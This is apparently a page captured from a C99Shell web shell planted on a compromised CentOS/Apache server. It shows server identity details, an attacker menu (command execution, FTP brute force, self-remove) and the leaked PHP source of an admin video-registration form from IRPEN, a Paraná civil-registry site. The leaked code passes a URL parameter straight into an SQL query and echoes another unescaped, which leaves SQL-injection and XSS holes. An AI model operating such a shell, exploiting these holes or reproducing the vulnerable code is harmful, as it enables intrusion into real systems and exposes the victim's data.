!C99Shell v.2.1 [PHP 7 Update] [1.12.2019]!

Software: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/5.4.16. PHP/5.4.16 

uname -a: Linux roko-bkp 3.10.0-1160.102.1.el7.x86_64 #1 SMP Tue Oct 17 15:42:21 UTC 2023 x86_64 

uid=48(apache) gid=48(apache) groups=48(apache),1003(webmaster) 

Safe-mode: OFF (not secure)

/var/www/html/admin/videos/   drwxr-xr-x
Free 9.43 GB of 93.48 GB (10.09%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     videos_cad.php (13.74 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
    
#############################################################################
    # Nome: videos_cad.php                                                      #
    # System: Irpen                                                             #
    # Criado por: Breno Henrique Vivarelli                                      #
    # Empresa: Netnigro                                                         #
    # E-mail: breno@netnigro.com.br                                             #
    # Descrição: Formulário de Inclusão, alteração e inativação de videos       #
    # Histórico:                                                                #
    #    . 30/03/2011 João Paulo Marques dos  Santos                            #
    #            Criação da Página                                              #
    #############################################################################

    // Includes
    
include("../../config/config.php");
    include(
INCLUDES "conexaoBD.php");
    include(
INCLUDES "sentencas_sql.php");
    include(
INCLUDES "funcoes_uteis.php");
    include(
INCLUDES "valida_usuario.inc.php");
    

       if(isset(
$_GET["cod_videos"]))
    {
        
$_SESSION["link_voltar"] = basename($_SERVER["HTTP_REFERER"]);
        
$hddAcao    "U";
        
$hddVideos $_GET["cod_videos"];

        
$sql_aux " WHERE VID_RowID = $hddVideos ";

        
//Executa a query de pesquisa
        
$sql_videos BUSCA_VIDEOS $sql_aux;
        
$rs_videos  $conexao->query($sql_videos);
        
$videos     $rs_videos->fetch_array();

        
//Preenche campos do formulário com os valores do banco de dados
        
$titulo      $videos["VID_Titulo"];
        
$link        $videos["VID_Link"];
        
$ativoSN     $videos["VID_AtivoSN"];
    }
    else
    {
        
$hddAcao    "I";
        
$hddPerfil "";

        
$titulo      "";
        
$link "";
     }
?>


<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml2/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en">
<head>
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
    <meta name="Description" content="IRPEN">
    <meta name="Keywords" content="">
    <meta name="resource-type" content="document">
    <meta name="classification" content="Internet">
    <meta name="robots" content="all">
    <meta name="rating" content="General">
    <meta name="Author" content="Ninart! Solucoes para Web.">
    <meta name="language" content="pt-br">
    <link rel="shortcut icon" href="imagens/favicon.gif"type="image/gif">   
    <link rel="stylesheet" href="<?=  HOST;?>css/irpen.css" type="text/css" />
    <link rel="stylesheet" media="all" type="text/css" href="<?=  HOST;?>css/menu_dropline.css" />
    <!--[if IE]>
    <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie.css" />
    <![endif]-->
    <!--[if lt IE 7]>
        <link rel="stylesheet" media="all" type="text/css" href="css/menu_dropline_ie6.css" />
    <![endif]-->  
    <title>IRPEN | Instituto de Registro Civil de Pessoas Naturais do Paraná - 2008</title>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery-1.2.6.js"></script>
    <script type="text/javascript" src="<?=  HOST;?>includes/jquery.maskedinput-1.1.3.js"></script> 
    <script type="text/javascript" src="videos_cad.js"></script>
    <!-- <script src="scripts/delay.js" language="JavaScript"></script> -->
    <style type="text/css">
<!--
.style1 {
    color: #666666;
    font-weight: bold;
}
-->
</style>
</head>
<body>
    <div id="wrap">
    
        <?php include "../topo_gestao.php";?>

        <!-- content-wrap starts -->
        <div id="content-wrap">
            <table width="100%" border="0">
                <tr><!--
                    <td align="left" valign="top" width="20%">
                        <?php 
                            
//Menu do site
                            //include(DIR_ADMIN . "menu_gestao.php");
                        
?>
                    </td>
                    <td align="left" valign="top" bgcolor="#cccccc">&nbsp;
                    </td>-->
                    <td align="left" valign="top" bgcolor="#FFFFFF" width="1%">&nbsp;
                    </td>
                    <td align="left" valign="top">            
                        <table width="100%" border="0" >
                            <tr>
                                <td align="left" valign="top">
                                    <h2>CADASTRO DE VIDEOS</h2>
                                    <div id="linha_h2" >
                                    </div> 
                                    <form name="frmCadastroVideos" id="frmCadastroVideos" action="videos_grava.php" method="post">
                                        <input type="hidden" name="hddAcao" value="<?=  $hddAcao;?>">
                                        <input type="hidden" name="hddVideos" value="<?=  $hddVideos;?>">
                                        <table width="98%" border="0">
                                        <!--<tr>
                                            <td align="left" valign="top" colspan="2"><h4>CADASTRO DE Videos</h4></td>
                                          </td>
                                        </tr>  -->
                                          <tr>
                                            <td align="left" valign="top"></td>
                                          </tr>
                                          <?php
                                                
if((isset($_GET["msg"])) && (!empty($_GET["msg"])))
                                                {
                                                    if((isset(
$_GET["erro"])) && ($_GET["erro"] == "S"))
                                                    {
                                                        
$class_msg "msg_erro";
                                                    }
                                                    else
                                                    {
                                                        
$class_msg "msg_ok";
                                                    }
                                                    
?>
                                                        <tr>
                                                            <td align="left" colspan="2">
                                                                <p class="<?=  $class_msg;?>"><?=  $_GET["msg"];?></p>
                                                                <br />
                                                            </td>
                                                        </tr>
                                                    <?php
                                                
}
                                            
?>
                                          <tr>
                                            <td align="left" valign="top" colspan="2">
                                                <p class="aviso"><span class="obrigatorio">*</span> Campos Obrigatórios</p>
                                            </td>
                                          </tr>
                                          <tr>
                                            <td width="17%" align="right" valign="top">
                                                Título do Video <span class="obrigatorio">*</span>:
                                            </td>
                                            <td width="83%" align="left" valign="top">
                                                <input name="txtTitulo" type="text" id="txtTitulo" size="105" value="<?=  $titulo;?>" />
                                            </td>
                                          </tr>
                                          <tr>
                                            <td align="right" valign="top">
                                                Link do video <span class="obrigatorio">*</span>:
                                            </td>
                                            <td align="left" valign="top">
                                                <input type="text" name="txtLink" id="txtLink" size="105" value="<?=  $link;?>" />
                                            </td>
                                          </tr>
                                          <?php 
                                            
                                            
/*if($hddAcao == "U")
                                            {
                                                ?>
                                                    <tr>
                                                        <td align="left" valign="top">
                                                          <p>
                                                            Ativo  (Sim/Não) <span class="obrigatorio">*</span>
                                                          </p>
                                                        </td>
                                                        <td align="left" valign="top">
                                                          <input type="radio" name="rbtAtivo" id="rbtAtivo1" value="S" <?php if(($hddAcao == "I") || (($hddAcao == "U") && ($ativoSN == "S"))){ echo "checked";}?>/>
                                                          <label for="rbtAtivo">
                                                            Sim
                                                          </label>
                                                          <input type="radio" name="rbtAtivo" id="rbtAtivo2" value="N" <?php if(($hddAcao == "U") && ($ativoSN == "N")){ echo "checked";}?> />
                                                          <label for="rbtAtivo">
                                                            Não
                                                          </label>
                                                        </td>
                                                    </tr>
                                                <?php
                                            }
                                            */
                                          
?>   
                                          <tr>
                                            <td align="left" valign="top">&nbsp;</td>
                                            <td align="left" valign="top">&nbsp;</td>
                                          </tr>
                                         <tr>
                                            <td align="center" valign="top" colspan="2">
                                              <label>
                                              <?php 
                                                
if($hddAcao == "I")
                                                {
                                                    
$btnConfirmar "Confirmar";
                                                    
?>
                                                            
                                                    <?php
                                                
}
                                                else
                                                {
                                                    
$btnConfirmar "Alterar";
                                                    if(
$ativoSN == "S")
                                                    {
                                                        
?>
                                                            <input type="submit" name="btnInativar" id="btnInativar" value="Inativar" />    
                                                        <?php
                                                    
}
                                                    else
                                                    {
                                                        
?>
                                                            <input type="submit" name="btnAtivar" id="btnAtivar" value="Ativar" />    
                                                        <?php
                                                    
}
                                                }
                                              
?>
                                              <input type="submit" name="btnConfirmar" id="btnConfirmar" value="<?=  $btnConfirmar;?>" />
                                              <input type="reset" name="btnLimpar" id="btnLimpar" value="Limpar" />
                                              <input type="button" name="btnVoltar" id="btnVoltar" value="Voltar" onclick="javascript: history.go(-1);" /> 
                                              </label>
                                            </td>
                                          </tr>
                                        </table>
                                    </form>      
                                </td>
                            </tr>  
                        </table>
                        <br />
                    </td>  
                </tr>                
            </table>
        </div>
        <div align="center">
            <strong><br />
            Rua Mal. Deodoro, 51 - Galeria Ritz - 18º Andar | Fone: (41) 3232-9811 | CEP 80.020-905 - Curitiba - Paraná</strong>
            <!-- content-wrap ends-->
        </div>
        <!-- footer starts -->
        <div id="footer-wrap">
        </div>
        <div id="rodape">
        </div>
    </div>
</body>
</html>
<?php
    $_SESSION
["link_voltar"] = $_SERVER["REQUEST_URI"];
?>

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v.2.1 [PHP 7 Update] [1.12.2019] maintained by KaizenLouie and updated by cermmik | C99Shell Github (MySQL update) | Generation time: 0.0036 ]--